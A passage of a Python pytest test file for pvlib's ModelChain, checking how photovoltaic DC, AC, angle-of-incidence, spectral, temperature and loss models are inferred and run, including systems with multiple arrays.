test_run_model_from_effective_irradiance_arrays( sapm_dc_snl_ac_system_Array, location, weather, total_irrad, input_type): data = weather.copy() data[['poa_global', 'poa_diffuse', 'poa_direct']] = total_irrad data['effective_irradiance'] = data['poa_global'] data['cell_temperature'] = 40 mc = ModelChain(sapm_dc_snl_ac_system_Array, location) mc.run_model_from_effective_irradiance(input_type((data, data))) # arrays have different orientation, but should give same dc power # because we are the same passing effective irradiance and cell # temperature. assert_frame_equal(mc.results.dc[0], mc.results.dc[1]) # test that unequal inputs create unequal results data_two = data.copy() data_two['effective_irradiance'] = data['poa_global'] * 0.5 mc.run_model_from_effective_irradiance(input_type((data, data_two))) assert (mc.results.dc[0] != mc.results.dc[1]).all().all() def test_run_model_from_effective_irradiance_minimal_input( sapm_dc_snl_ac_system, sapm_dc_snl_ac_system_Array, location, total_irrad): data = pd.DataFrame({'effective_irradiance': total_irrad['poa_global'], 'cell_temperature': 40}, index=total_irrad.index) mc = ModelChain(sapm_dc_snl_ac_system, location) mc.run_model_from_effective_irradiance(data) # make sure, for a single Array, the result is the correct type and value assert_series_equal(mc.results.cell_temperature, data['cell_temperature']) assert not mc.results.dc.empty assert not mc.results.ac.empty # test with multiple arrays mc = ModelChain(sapm_dc_snl_ac_system_Array, location) mc.run_model_from_effective_irradiance((data, data)) assert_frame_equal(mc.results.dc[0], mc.results.dc[1]) assert not mc.results.ac.empty def test_run_model_singleton_weather_single_array(cec_dc_snl_ac_system, location, weather): mc = ModelChain(cec_dc_snl_ac_system, location, aoi_model="no_loss", spectral_model="no_loss") mc.run_model([weather]) assert isinstance(mc.results.weather, tuple) assert isinstance(mc.results.total_irrad, tuple) assert isinstance(mc.results.aoi, tuple) assert isinstance(mc.results.aoi_modifier, tuple) assert isinstance(mc.results.spectral_modifier, tuple) assert isinstance(mc.results.effective_irradiance, tuple) assert isinstance(mc.results.dc, tuple) assert isinstance(mc.results.cell_temperature, tuple) assert len(mc.results.cell_temperature) == 1 assert isinstance(mc.results.cell_temperature[0], pd.Series) def test_run_model_from_poa_singleton_weather_single_array( sapm_dc_snl_ac_system, location, total_irrad): mc = ModelChain(sapm_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss') ac = mc.run_model_from_poa([total_irrad]).results.ac expected = pd.Series(np.array([149.280238, 96.678385]), index=total_irrad.index) assert isinstance(mc.results.weather, tuple) assert isinstance(mc.results.cell_temperature, tuple) assert len(mc.results.cell_temperature) == 1 assert isinstance(mc.results.cell_temperature[0], pd.Series) assert_series_equal(ac, expected) def test_run_model_from_effective_irradiance_weather_single_array( sapm_dc_snl_ac_system, location, weather, total_irrad): data = weather.copy() data[['poa_global', 'poa_diffuse', 'poa_direct']] = total_irrad data['effective_irradiance'] = data['poa_global'] mc = ModelChain(sapm_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss') ac = mc.run_model_from_effective_irradiance([data]).results.ac expected = pd.Series(np.array([149.280238, 96.678385]), index=data.index) assert isinstance(mc.results.weather, tuple) assert isinstance(mc.results.cell_temperature, tuple) assert len(mc.results.cell_temperature) == 1 assert isinstance(mc.results.cell_temperature[0], pd.Series) assert isinstance(mc.results.dc, tuple) assert len(mc.results.dc) == 1 assert isinstance(mc.results.dc[0], pd.DataFrame) assert_series_equal(ac, expected) def poadc(mc): mc.results.dc = mc.results.total_irrad['poa_global'] * 0.2 mc.results.dc.name = None # assert_series_equal will fail without this @pytest.mark.parametrize('dc_model', [ 'sapm', 'cec', 'desoto', 'pvsyst', 'singlediode', 'pvwatts_dc']) def test_infer_dc_model(sapm_dc_snl_ac_system, cec_dc_snl_ac_system, pvsyst_dc_snl_ac_system, pvwatts_dc_pvwatts_ac_system, location, dc_model, weather, mocker): dc_systems = {'sapm': sapm_dc_snl_ac_system, 'cec': cec_dc_snl_ac_system, 'desoto': cec_dc_snl_ac_system, 'pvsyst': pvsyst_dc_snl_ac_system, 'singlediode': cec_dc_snl_ac_system, 'pvwatts_dc': pvwatts_dc_pvwatts_ac_system} dc_model_function = {'sapm': 'sapm', 'cec': 'calcparams_cec', 'desoto': 'calcparams_desoto', 'pvsyst': 'calcparams_pvsyst', 'singlediode': 'calcparams_desoto', 'pvwatts_dc': 'pvwatts_dc'} temp_model_function = {'sapm': 'sapm', 'cec': 'sapm', 'desoto': 'sapm', 'pvsyst': 'pvsyst', 'singlediode': 'sapm', 'pvwatts_dc': 'sapm'} temp_model_params = {'sapm': {'a': -3.40641, 'b': -0.0842075, 'deltaT': 3}, 'pvsyst': {'u_c': 29.0, 'u_v': 0}} system = dc_systems[dc_model] for array in system.arrays: array.temperature_model_parameters = temp_model_params[ temp_model_function[dc_model]] # remove Adjust from model parameters for desoto, singlediode if dc_model in ['desoto', 'singlediode']: for array in system.arrays: array.module_parameters.pop('Adjust') m = mocker.spy(pvsystem, dc_model_function[dc_model]) mc = ModelChain(system, location, aoi_model='no_loss', spectral_model='no_loss', temperature_model=temp_model_function[dc_model]) mc.run_model(weather) assert m.call_count == 1 assert isinstance(mc.results.dc, (pd.Series, pd.DataFrame)) def test_infer_dc_model_incomplete(multi_array_sapm_dc_snl_ac_system, location): match = 'Could not infer DC model from the module_parameters attributes ' system = multi_array_sapm_dc_snl_ac_system['two_array_system'] system.arrays[0].module_parameters.pop('A0') with pytest.raises(ValueError, match=match): ModelChain(system, location) @pytest.mark.parametrize('dc_model', ['cec', 'desoto', 'pvsyst']) def test_singlediode_dc_arrays(location, dc_model, cec_dc_snl_ac_arrays, pvsyst_dc_snl_ac_arrays, weather): systems = {'cec': cec_dc_snl_ac_arrays, 'pvsyst': pvsyst_dc_snl_ac_arrays, 'desoto': cec_dc_snl_ac_arrays} temp_sapm = {'a': -3.40641, 'b': -0.0842075, 'deltaT': 3} temp_pvsyst = {'u_c': 29.0, 'u_v': 0} temp_model_params = {'cec': temp_sapm, 'desoto': temp_sapm, 'pvsyst': temp_pvsyst} temp_model = {'cec': 'sapm', 'desoto': 'sapm', 'pvsyst': 'pvsyst'} system = systems[dc_model] for array in system.arrays: array.temperature_model_parameters = temp_model_params[dc_model] if dc_model == 'desoto': for array in system.arrays: array.module_parameters.pop('Adjust') mc = ModelChain(system, location, aoi_model='no_loss', spectral_model='no_loss', temperature_model=temp_model[dc_model]) mc.run_model(weather) assert isinstance(mc.results.dc, tuple) assert len(mc.results.dc) == system.num_arrays for dc in mc.results.dc: assert isinstance(dc, (pd.Series, pd.DataFrame)) @pytest.mark.parametrize('dc_model', ['sapm', 'cec', 'cec_native']) def test_infer_spectral_model(location, sapm_dc_snl_ac_system, cec_dc_snl_ac_system, cec_dc_native_snl_ac_system, dc_model): dc_systems = {'sapm': sapm_dc_snl_ac_system, 'cec': cec_dc_snl_ac_system, 'cec_native': cec_dc_native_snl_ac_system} system = dc_systems[dc_model] mc = ModelChain(system, location, aoi_model='physical') assert isinstance(mc, ModelChain) @pytest.mark.parametrize('temp_model', [ 'sapm_temp', 'faiman_temp', 'pvsyst_temp', 'fuentes_temp', 'noct_sam_temp']) def test_infer_temp_model(location, sapm_dc_snl_ac_system, pvwatts_dc_pvwatts_ac_pvsyst_temp_system, pvwatts_dc_pvwatts_ac_faiman_temp_system, pvwatts_dc_pvwatts_ac_fuentes_temp_system, pvwatts_dc_pvwatts_ac_noct_sam_temp_system, temp_model): dc_systems = {'sapm_temp': sapm_dc_snl_ac_system, 'pvsyst_temp': pvwatts_dc_pvwatts_ac_pvsyst_temp_system, 'faiman_temp': pvwatts_dc_pvwatts_ac_faiman_temp_system, 'fuentes_temp': pvwatts_dc_pvwatts_ac_fuentes_temp_system, 'noct_sam_temp': pvwatts_dc_pvwatts_ac_noct_sam_temp_system} system = dc_systems[temp_model] mc = ModelChain(system, location, aoi_model='physical', spectral_model='no_loss') assert temp_model == mc.temperature_model.__name__ assert isinstance(mc, ModelChain) def test_infer_temp_model_invalid(location, sapm_dc_snl_ac_system): sapm_dc_snl_ac_system.arrays[0].temperature_model_parameters.pop('a') with pytest.raises(ValueError): ModelChain(sapm_dc_snl_ac_system, location, aoi_model='physical', spectral_model='no_loss') def test_temperature_model_inconsistent(location, sapm_dc_snl_ac_system): with pytest.raises(ValueError): ModelChain(sapm_dc_snl_ac_system, location, aoi_model='physical', spectral_model='no_loss', temperature_model='pvsyst') def test_dc_model_user_func(pvwatts_dc_pvwatts_ac_system, location, weather, mocker): m = mocker.spy(sys.modules[__name__], 'poadc') mc = ModelChain(pvwatts_dc_pvwatts_ac_system, location, dc_model=poadc, aoi_model='no_loss', spectral_model='no_loss') mc.run_model(weather) assert m.call_count == 1 assert isinstance(mc.results.ac, (pd.Series, pd.DataFrame)) assert not mc.results.ac.empty def test_pvwatts_dc_multiple_strings(pvwatts_dc_pvwatts_ac_system, location, weather, mocker): system = pvwatts_dc_pvwatts_ac_system m = mocker.spy(system, 'scale_voltage_current_power') mc1 = ModelChain(system, location, aoi_model='no_loss', spectral_model='no_loss') mc1.run_model(weather) assert m.call_count == 1 system.arrays[0].modules_per_string = 2 mc2 = ModelChain(system, location, aoi_model='no_loss', spectral_model='no_loss') mc2.run_model(weather) assert isinstance(mc2.results.ac, (pd.Series, pd.DataFrame)) assert not mc2.results.ac.empty expected = pd.Series(data=[2., np.nan], index=mc2.results.dc.index, name='p_mp') assert_series_equal(mc2.results.dc / mc1.results.dc, expected) def acdc(mc): mc.results.ac = mc.results.dc @pytest.mark.parametrize('inverter_model', ['sandia', 'adr', 'pvwatts', 'sandia_multi', 'pvwatts_multi']) def test_ac_models(sapm_dc_snl_ac_system, cec_dc_adr_ac_system, pvwatts_dc_pvwatts_ac_system, cec_dc_snl_ac_arrays, pvwatts_dc_pvwatts_ac_system_arrays, location, inverter_model, weather, mocker): ac_systems = {'sandia': sapm_dc_snl_ac_system, 'sandia_multi': cec_dc_snl_ac_arrays, 'adr': cec_dc_adr_ac_system, 'pvwatts': pvwatts_dc_pvwatts_ac_system, 'pvwatts_multi': pvwatts_dc_pvwatts_ac_system_arrays} inverter_to_ac_model = { 'sandia': 'sandia', 'sandia_multi': 'sandia', 'adr': 'adr', 'pvwatts': 'pvwatts', 'pvwatts_multi': 'pvwatts'} ac_model = inverter_to_ac_model[inverter_model] system = ac_systems[inverter_model] mc_inferred = ModelChain(system, location, aoi_model='no_loss', spectral_model='no_loss') mc = ModelChain(system, location, ac_model=ac_model, aoi_model='no_loss', spectral_model='no_loss') # tests ModelChain.infer_ac_model assert mc_inferred.ac_model.__name__ == mc.ac_model.__name__ m = mocker.spy(inverter, inverter_model) mc.run_model(weather) assert m.call_count == 1 assert isinstance(mc.results.ac, pd.Series) assert not mc.results.ac.empty assert mc.results.ac[1] < 1 def test_ac_model_user_func(pvwatts_dc_pvwatts_ac_system, location, weather, mocker): m = mocker.spy(sys.modules[__name__], 'acdc') mc = ModelChain(pvwatts_dc_pvwatts_ac_system, location, ac_model=acdc, aoi_model='no_loss', spectral_model='no_loss') mc.run_model(weather) assert m.call_count == 1 assert_series_equal(mc.results.ac, mc.results.dc) assert not mc.results.ac.empty def test_ac_model_not_a_model(pvwatts_dc_pvwatts_ac_system, location, weather): exc_text = 'not a valid AC power model' with pytest.raises(ValueError, match=exc_text): ModelChain(pvwatts_dc_pvwatts_ac_system, location, ac_model='not_a_model', aoi_model='no_loss', spectral_model='no_loss') def test_infer_ac_model_invalid_params(location): # only the keys are relevant here, using arbitrary values module_parameters = {'pdc0': 1, 'gamma_pdc': 1} system = pvsystem.PVSystem( arrays=[pvsystem.Array( mount=pvsystem.FixedMount(0, 180), module_parameters=module_parameters )], inverter_parameters={'foo': 1, 'bar': 2} ) with pytest.raises(ValueError, match='could not infer AC model'): ModelChain(system, location) def constant_aoi_loss(mc): mc.results.aoi_modifier = 0.9 @pytest.mark.parametrize('aoi_model', [ 'sapm', 'ashrae', 'physical', 'martin_ruiz' ]) def test_aoi_models(sapm_dc_snl_ac_system, location, aoi_model, weather, mocker): mc = ModelChain(sapm_dc_snl_ac_system, location, dc_model='sapm', aoi_model=aoi_model, spectral_model='no_loss') m = mocker.spy(sapm_dc_snl_ac_system, 'get_iam') mc.run_model(weather=weather) assert m.call_count == 1 assert isinstance(mc.results.ac, pd.Series) assert not mc.results.ac.empty assert mc.results.ac[0] > 150 and mc.results.ac[0] < 200 assert mc.results.ac[1] < 1 @pytest.mark.parametrize('aoi_model', [ 'sapm', 'ashrae', 'physical', 'martin_ruiz' ]) def test_aoi_models_singleon_weather_single_array( sapm_dc_snl_ac_system, location, aoi_model, weather): mc = ModelChain(sapm_dc_snl_ac_system, location, dc_model='sapm', aoi_model=aoi_model, spectral_model='no_loss') mc.run_model(weather=[weather]) assert isinstance(mc.results.aoi_modifier, tuple) assert len(mc.results.aoi_modifier) == 1 assert isinstance(mc.results.ac, pd.Series) assert not mc.results.ac.empty assert mc.results.ac[0] > 150 and mc.results.ac[0] < 200 assert mc.results.ac[1] < 1 def test_aoi_model_no_loss(sapm_dc_snl_ac_system, location, weather): mc = ModelChain(sapm_dc_snl_ac_system, location, dc_model='sapm', aoi_model='no_loss', spectral_model='no_loss') mc.run_model(weather) assert mc.results.aoi_modifier == 1.0 assert not mc.results.ac.empty assert mc.results.ac[0] > 150 and mc.results.ac[0] < 200 assert mc.results.ac[1] < 1 def test_aoi_model_user_func(sapm_dc_snl_ac_system, location, weather, mocker): m = mocker.spy(sys.modules[__name__], 'constant_aoi_loss') mc = ModelChain(sapm_dc_snl_ac_system, location, dc_model='sapm', aoi_model=constant_aoi_loss, spectral_model='no_loss') mc.run_model(weather) assert m.call_count == 1 assert mc.results.aoi_modifier == 0.9 assert not mc.results.ac.empty assert mc.results.ac[0] > 140 and mc.results.ac[0] < 200 assert mc.results.ac[1] < 1 @pytest.mark.parametrize('aoi_model', [ 'sapm', 'ashrae', 'physical', 'martin_ruiz' ]) def test_infer_aoi_model(location, system_no_aoi, aoi_model): for k in iam._IAM_MODEL_PARAMS[aoi_model]: system_no_aoi.arrays[0].module_parameters.update({k: 1.0}) mc = ModelChain(system_no_aoi, location, spectral_model='no_loss') assert isinstance(mc, ModelChain) def test_infer_aoi_model_invalid(location, system_no_aoi): exc_text = 'could not infer AOI model' with pytest.raises(ValueError, match=exc_text): ModelChain(system_no_aoi, location, spectral_model='no_loss') def constant_spectral_loss(mc): mc.results.spectral_modifier = 0.9 @pytest.mark.parametrize('spectral_model', [ 'sapm', 'first_solar', 'no_loss', constant_spectral_loss ]) def test_spectral_models(sapm_dc_snl_ac_system, location, spectral_model, weather): # add pw to weather dataframe weather['precipitable_water'] = [0.3, 0.5] mc = ModelChain(sapm_dc_snl_ac_system, location, dc_model='sapm', aoi_model='no_loss', spectral_model=spectral_model) spectral_modifier = mc.run_model(weather).results.spectral_modifier assert isinstance(spectral_modifier, (pd.Series, float, int)) @pytest.mark.parametrize('spectral_model', [ 'sapm', 'first_solar', 'no_loss', constant_spectral_loss ]) def test_spectral_models_singleton_weather_single_array( sapm_dc_snl_ac_system, location, spectral_model, weather): # add pw to weather dataframe weather['precipitable_water'] = [0.3, 0.5] mc = ModelChain(sapm_dc_snl_ac_system, location, dc_model='sapm', aoi_model='no_loss', spectral_model=spectral_model) spectral_modifier = mc.run_model([weather]).results.spectral_modifier assert isinstance(spectral_modifier, tuple) assert len(spectral_modifier) == 1 assert isinstance(spectral_modifier[0], (pd.Series, float, int)) def constant_losses(mc): mc.results.losses = 0.9 mc.results.dc *= mc.results.losses def dc_constant_losses(mc): mc.results.dc['p_mp'] *= 0.9 def test_dc_ohmic_model_ohms_from_percent(cec_dc_snl_ac_system, cec_dc_snl_ac_arrays, location, weather, mocker): m = mocker.spy(pvsystem, 'dc_ohms_from_percent') system = cec_dc_snl_ac_system for array in system.arrays: array.array_losses_parameters = dict(dc_ohmic_percent=3) mc = ModelChain(system, location, aoi_model='no_loss', spectral_model='no_loss', dc_ohmic_model='dc_ohms_from_percent') mc.run_model(weather) assert m.call_count == 1 assert isinstance(mc.results.dc_ohmic_losses, pd.Series) system = cec_dc_snl_ac_arrays for array in system.arrays: array.array_losses_parameters = dict(dc_ohmic_percent=3) mc = ModelChain(system, location, aoi_model='no_loss', spectral_model='no_loss', dc_ohmic_model='dc_ohms_from_percent') mc.run_model(weather) assert m.call_count == 3 assert len(mc.results.dc_ohmic_losses) == len(mc.system.arrays) assert isinstance(mc.results.dc_ohmic_losses, tuple) def test_dc_ohmic_model_no_dc_ohmic_loss(cec_dc_snl_ac_system, location, weather, mocker): m = mocker.spy(modelchain.ModelChain, 'no_dc_ohmic_loss') mc = ModelChain(cec_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss', dc_ohmic_model='no_loss') mc.run_model(weather) assert mc.dc_ohmic_model == mc.no_dc_ohmic_loss assert m.call_count == 1 assert mc.results.dc_ohmic_losses is None def test_dc_ohmic_ext_def(cec_dc_snl_ac_system, location, weather, mocker): m = mocker.spy(sys.modules[__name__], 'dc_constant_losses') mc = ModelChain(cec_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss', dc_ohmic_model=dc_constant_losses) mc.run_model(weather) assert m.call_count == 1 assert isinstance(mc.results.ac, (pd.Series, pd.DataFrame)) assert not mc.results.ac.empty def test_dc_ohmic_not_a_model(cec_dc_snl_ac_system, location, weather, mocker): exc_text = 'not_a_dc_model is not a valid losses model' with pytest.raises(ValueError, match=exc_text): ModelChain(cec_dc_snl_ac_system, location, aoi_model='no_loss', spectral_model='no_loss', dc_ohmic_model='not_a_dc_model') def test_losses_models_pvwatts(pvwatts_dc_pvwatts_ac_system, location, weather, mocker): age = 1 pvwatts_dc_pvwatts_ac_system.losses_parameters = dict(age=age) m = mocker.spy(pvsystem, 'pvwatts_losses') mc = ModelChain(pvwatts_dc_pvwatts_ac_system, location, dc_model='pvwatts', aoi_model='no_loss', spectral_model='no_loss', losses_model='pvwatts') mc.run_model(weather) assert m.call_count == 1 m.assert_called_with(age=age) assert isinstance(mc.results.ac, (pd.Series, pd.DataFrame)) assert not mc.results.ac.empty # check that we're applying correction to dc # GH 696 dc_with_loss = mc.results.dc mc = ModelChain(pvwatts_dc_pvwatts_ac_system, location, dc_model='pvwatts', aoi_model='no_loss', spectral_model='no_loss', losses_model='no_loss') mc.run_model(weather) assert not np.allclose(mc.results.dc, dc_with_loss, equal_nan=True) def test_losses_models_pvwatts_arrays(multi_array_sapm_dc_snl_ac_system, location, weather): age = 1 system_both = multi_array_sapm_dc_snl_ac_system['two_array_system'] system_both.losses_parameters = dict(age=age) mc = ModelChain(system_both, location, aoi_model='no_loss', spectral_model='no_loss', losses_model='pvwatts') mc.run_model(weather) dc_with_loss = mc.results.dc mc = ModelChain(system_both, location, aoi_model='no_loss', spectral_model='no_loss', losses_model='no_loss') mc.run_model(weather) assert not np.allclose(mc.results.dc[0], dc_with_loss[0], equal_nan=True) assert not np.allclose(mc.results.dc[1], dc_with_loss[1], equal_nan=True) assert not mc.results.ac.empty def test_losses_models_ext_def(pvwatts_dc_pvwatts_ac_system, location, weather, mocker): m = mocker.spy(sys.modules[__name__], 'constant_losses') mc = ModelChain(pvwatts_dc_pvwatts_ac_system, location, dc_model='pvwatts', aoi_model='no_loss', spectral_model='no_loss', losses_model=constant_losses) mc.run_model(weather) assert m.call_count == 1 assert isinstance(mc.results.ac, (pd.Series, pd.DataFrame)) assert mc.results.losses == 0.9 assert not mc.results.ac.empty def test_losses_models_no_loss(pvwatts_dc_pvwatts_ac_system, location, weather, mocker): m = mocker.spy(pvsystem, 'pvwatts_losses') mc = ModelChain(pvwatts_dc_pvwatts_ac_system, location, dc_model='pvwatts', aoi_model='no_loss', spectral_model='no_loss', losses_model='no_loss') assert mc.losses_model == mc.no_extra_losses mc.run_model(weather) assert m.call_count == 0 assert mc.results.losses == 1 def test_invalid_dc_model_params(sapm_dc_snl_ac_system, cec_dc_snl_ac_system, pvwatts_dc_pvwatts_ac_system, location): kwargs = {'dc_model': 'sapm', 'ac_model': 'sandia', 'aoi_model': 'no_loss', 'spectral_model': 'no_loss', 'temperature_model': 'sapm', 'losses_model': 'no_loss'} for array in sapm_dc_snl_ac_system.arrays: array.module_parameters.pop('A0') # remove a parameter with pytest.raises(ValueError): ModelChain(sapm_dc_snl_ac_system, location, **kwargs) kwargs['dc_model'] = 'singlediode' for array in cec_dc_snl_ac_system.arrays: array.module_parameters.pop('a_ref') # remove a parameter with pytest.raises(ValueError): ModelChain(cec_dc_snl_ac_system, location, **kwargs) kwargs['dc_model'] = 'pvwatts' kwargs['ac_model'] = 'pvwatts' for array in pvwatts_dc_pvwatts_ac_system.arrays: array.module_parameters.pop('pdc0') match = 'one or more Arrays are missing one or more required parameters' with pytest.raises(ValueError, match=match): ModelChain(pvwatts_dc_pvwatts_ac_system, location, **kwargs) @pytest.mark.parametrize('model', [ 'dc_model', 'ac_model', 'aoi_model', 'spectral_model', 'temperature_model', 'losses_model' ]) def test_invalid_models(model, sapm_dc_snl_ac_system, location): kwargs = {'dc_model': 'pvwatts', 'ac_model': 'pvwatts', 'aoi_model': 'no_loss', 'spectral_model': 'no_loss', 'temperature_model': 'sapm', 'losses_model': 'no_loss'} kwargs[model] = 'invalid' with pytest.raises(ValueError): ModelChain(sapm_dc_snl_ac_system, location, **kwargs) def test_bad_get_orientation(): with pytest.raises(ValueError): modelchain.get_orientation('bad value') # tests for PVSystem with multiple Arrays def test_with_sapm_pvsystem_arrays(sapm_dc_snl_ac_system_Array, location, weather): mc = ModelChain.with_sapm(sapm_dc_snl_ac_system_Array, location, ac_model='sandia') assert mc.dc_model == mc.sapm assert mc.ac_model == mc.sandia_inverter mc.run_model(weather) assert mc.results def test_ModelChain_no_extra_kwargs(sapm_dc_snl_ac_system, location): with pytest.raises(TypeError, match="arbitrary_kwarg"): ModelChain(sapm_dc_snl_ac_system, location, arbitrary_kwarg='value') @fail_on_pvlib_version('0.10') def test_ModelChain_attributes_deprecated_10(sapm_dc_snl_ac_system, location): match = 'Use ModelChain.results' mc = ModelChain(sapm_dc_snl_ac_system, location) with pytest.warns(pvlibDeprecationWarning, match=match): mc.aoi with pytest.warns(pvlibDeprecationWarning, match=match): mc.aoi = 5 def test_basic_chain_alt_az(sam_data, cec_inverter_parameters, sapm_temperature_cs5p_220m): times = pd.date_range(start='20160101 1200-0700', end='20160101 1800-0700', freq='6H') latitude = 32.2 longitude = -111 surface_tilt = 0 surface_azimuth = 0 modules = sam_data['sandiamod'] module_parameters = modules['Canadian_Solar_CS5P_220M___2009_'] temp_model_params = sapm_temperature_cs5p_220m.copy() dc, ac = modelchain.basic_chain(times, latitude, longitude, surface_tilt, surface_azimuth, module_parameters, temp_model_params, cec_inverter_parameters) expected = pd.Series(np.array([111.621405, -2.00000000e-02]), index=times) assert_series_equal(ac, expected) def test_basic_chain_altitude_pressure(sam_data, cec_inverter_parameters, sapm_temperature_cs5p_220m): times = pd.date_range(start='20160101 1200-0700', end='20160101 1800-0700', freq='6H') latitude = 32.2 longitude = -111 altitude = 700 surface_tilt = 0 surface_azimuth = 0 modules = sam_data['sandiamod'] module_parameters = modules['Canadian_Solar_CS5P_220M___2009_'] temp_model_params = sapm_temperature_cs5p_220m.copy() dc, ac = modelchain.basic_chain(times, latitude, longitude, surface_tilt, surface_azimuth, module_parameters, temp_model_params, cec_inverter_parameters, pressure=93194) expected = pd.Series(np.array([113.190045, -2.00000000e-02]), index=times) assert_series_equal(ac, expected) dc, ac = modelchain.basic_chain(times, latitude, longitude, surface_tilt, surface_azimuth, module_parameters, temp_model_params, cec_inverter_parameters, altitude=altitude) expected = pd.Series(np.array([113.189814, -2.00000000e-02]), index=times) assert_series_equal(ac, expected) def test_complete_irradiance_clean_run(sapm_dc_snl_ac_system, location): """The DataFrame should not change if all columns are passed""" mc = ModelChain(sapm_dc_snl_ac_system, location) times = pd.date_range('2010-07-05 9:00:00', periods=2, freq='H') i = pd.DataFrame( {'dni': [2, 3], 'dhi': [4, 6], 'ghi': [9, 5]}, index=times) mc.complete_irradiance(i) assert_series_equal(mc.results.weather['dni'], pd.Series([2, 3], index=times, name='dni')) assert_series_equal(mc.results.weather['dhi'], pd.Series([4, 6], index=times, name='dhi')) assert_series_equal(mc.results.weather['ghi'], pd.Series([9, 5], index=times, name='ghi')) def test_complete_irradiance(sapm_dc_snl_ac_system, location): """Check calculations""" mc = ModelChain(sapm_dc_snl_ac_system, location) times = pd.date_range('2010-07-05 7:00:00-0700', periods=2, freq='H') i = pd.DataFrame({'dni': [49.756966, 62.153947], 'ghi': [372.103976116, 497.087579068], 'dhi': [356.543700, 465.44400]}, index=times) with pytest.warns(UserWarning): mc.complete_irradiance(i[['ghi', 'dni']]) assert_series_equal(mc.results.weather['dhi'], pd.Series([356.543700, 465.44400], index=times, name='dhi')) with pytest.warns(UserWarning): mc.complete_irradiance(i[['dhi', 'dni']]) assert_series_equal(mc.results.weather['ghi'], pd.Series([372.103976116, 497.087579068], index=times, name='ghi')) mc.complete_irradiance(i[['dhi', 'ghi']]) assert_series_equal(mc.results.weather['dni'], pd.Series([49.756966, 62.153947], index=times, name='dni')) @pytest.mark.filterwarnings("ignore:This function is not safe at the moment") @pytest.mark.parametrize("input_type", [tuple, list]) def test_complete_irradiance_arrays( sapm_dc_snl_ac_system_same_arrays, location, input_type): """ModelChain.complete_irradiance can accept a tuple of weather DataFrames.""" times = pd.date_range(start='2020-01-01 0700-0700', periods=2, freq='H') weather = pd.DataFrame({'dni': [2, 3], 'dhi': [4, 6], 'ghi': [9, 5]}, index=times) mc = ModelChain(sapm_dc_snl_ac_system_same_arrays, location) with pytest.raises(ValueError, match=r"Input DataFrames must have same index\."): mc.complete_irradiance(input_type((weather, weather[1:]))) mc.complete_irradiance(input_type((weather, weather))) for mc_weather in mc.results.weather: assert_series_equal(mc_weather['dni'], pd.Series([2, 3], index=times, name='dni')) assert_series_equal(mc_weather['dhi'], pd.Series([4, 6], index=times, name='dhi')) assert_series_equal(mc_weather['ghi'], pd.Series([9, 5], index=times, name='ghi')) mc = ModelChain(sapm_dc_snl_ac_system_same_arrays, location) mc.complete_irradiance(input_type((weather[['ghi', 'dhi']], weather[['dhi', 'dni']]))) assert 'dni' in mc.results.weather[0].columns assert 'ghi' in mc.results.weather[1].columns mc.complete_irradiance(input_type((weather, weather[['ghi', 'dni']]))) assert_series_equal(mc.results.weather[0]['dhi'], pd.Series([4, 6], index=times, name='dhi')) assert_series_equal(mc.results.weather[0]['ghi'], pd.Series([9, 5], index=times, name='ghi')) assert_series_equal(mc.results.weather[0]['dni'], pd.Series([2, 3], index=times, name='dni')) assert 'dhi' in mc.results.weather[1].columns @pytest.mark.parametrize("input_type", [tuple, list]) def test_complete_irradiance_arrays_wrong_length( sapm_dc_snl_ac_system_same_arrays, location, input_type): mc = ModelChain(sapm_dc_snl_ac_system_same_arrays, location) times = pd.date_range(start='2020-01-01 0700-0700', periods=2, freq='H') weather = pd.DataFrame({'dni': [2, 3], 'dhi': [4, 6], 'ghi': [9, 5]}, index=times) error_str = "Input must be same length as number " \ r"of Arrays in system\. Expected 2, got [0-9]+\." with pytest.raises(ValueError, match=error_str): mc.complete_irradiance(input_type((weather,))) with pytest.raises(ValueError, match=error_str): mc.complete_irradiance(input_type((weather, weather, weather))) def test_unknown_attribute(sapm_dc_snl_ac_system, location): mc = ModelChain(sapm_dc_snl_ac_system, location) with pytest.raises(AttributeError): mc.unknown_attribute def test_inconsistent_array_params(location, sapm_module_params, cec_module_params): module_error = ".* selected for the DC model but one or more Arrays are " \ "missing one or more required parameters" temperature_error = "could not infer temperature model from " \ r"system\.temperature_model_parameters\. Check " \ r"that all Arrays in system\.arrays have " \ r"parameters for the same temperature model\. " \ r"Common temperature model parameters: .*" different_module_system = pvsystem.PVSystem( arrays=[ pvsystem.Array( mount=pvsystem.FixedMount(0, 180), module_parameters=sapm_module_params), pvsystem.Array( mount=pvsystem.FixedMount(0, 180), module_parameters=cec_module_params), pvsystem.Array( mount=pvsystem.FixedMount(0, 180), module_parameters=cec_module_params)] ) with pytest.raises(ValueError, match=module_error): ModelChain(different_module_system, location, dc_model='cec') different_temp_system = pvsystem.PVSystem( arrays=[ pvsystem.Array( mount=pvsystem.FixedMount(0, 180), module_parameters=cec_module_params, temperature_model_parameters={'a': 1, 'b': 1, 'deltaT': 1}), pvsystem.Array( mount=pvsystem.FixedMount(0, 180), module_parameters=cec_module_params, temperature_model_parameters={'a': 2, 'b': 2, 'deltaT': 2}), pvsystem.Array( mount=pvsystem.FixedMount(0, 180), module_parameters=cec_module_params, temperature_model_parameters={'b': 3, 'deltaT': 3})] ) with pytest.raises(ValueError, match=temperature_error): ModelChain(different_temp_system, location, ac_model='sandia', aoi_model='no_loss', spectral_model='no_loss', temperature_model='sapm') def test_modelchain__common_keys(): dictionary = {'a': 1, 'b': 1} series = pd.Series(dictionary) assert {'a', 'b'} == modelchain._common_keys( {'a': 1, 'b': 1} ) assert {'a', 'b'} == modelchain._common_keys( pd.Series({'a': 1, 'b': 1}) ) assert {'a', 'b'} == modelchain._common_keys( (dictionary, series) ) no_a = dictionary.copy() del no_a['a'] assert {'b'} == modelchain._common_keys( (dictionary, no_a) ) assert {'b'} == modelchain._common_keys( (series, pd.Series(no_a)) ) assert {'b'} == modelchain._common_keys( (series, no_a) ) def test__irrad_for_celltemp(): total_irrad = pd.DataFrame(index=[0, 1], columns=['poa_global'], data=[10., 20.]) empty = total_irrad.drop('poa_global', axis=1) effect_irrad = pd.Series(index=total_irrad.index, data=[5., 8.]) # test with single array inputs poa = modelchain._irrad_for_celltemp(total_irrad, effect_irrad) assert_series_equal(poa, total_irrad['poa_global']) poa = modelchain._irrad_for_celltemp(empty, effect_irrad) assert_series_equal(poa, effect_irrad) # test with tuples poa = modelchain._irrad_for_celltemp( (total_irrad, total_irrad), (effect_irrad, 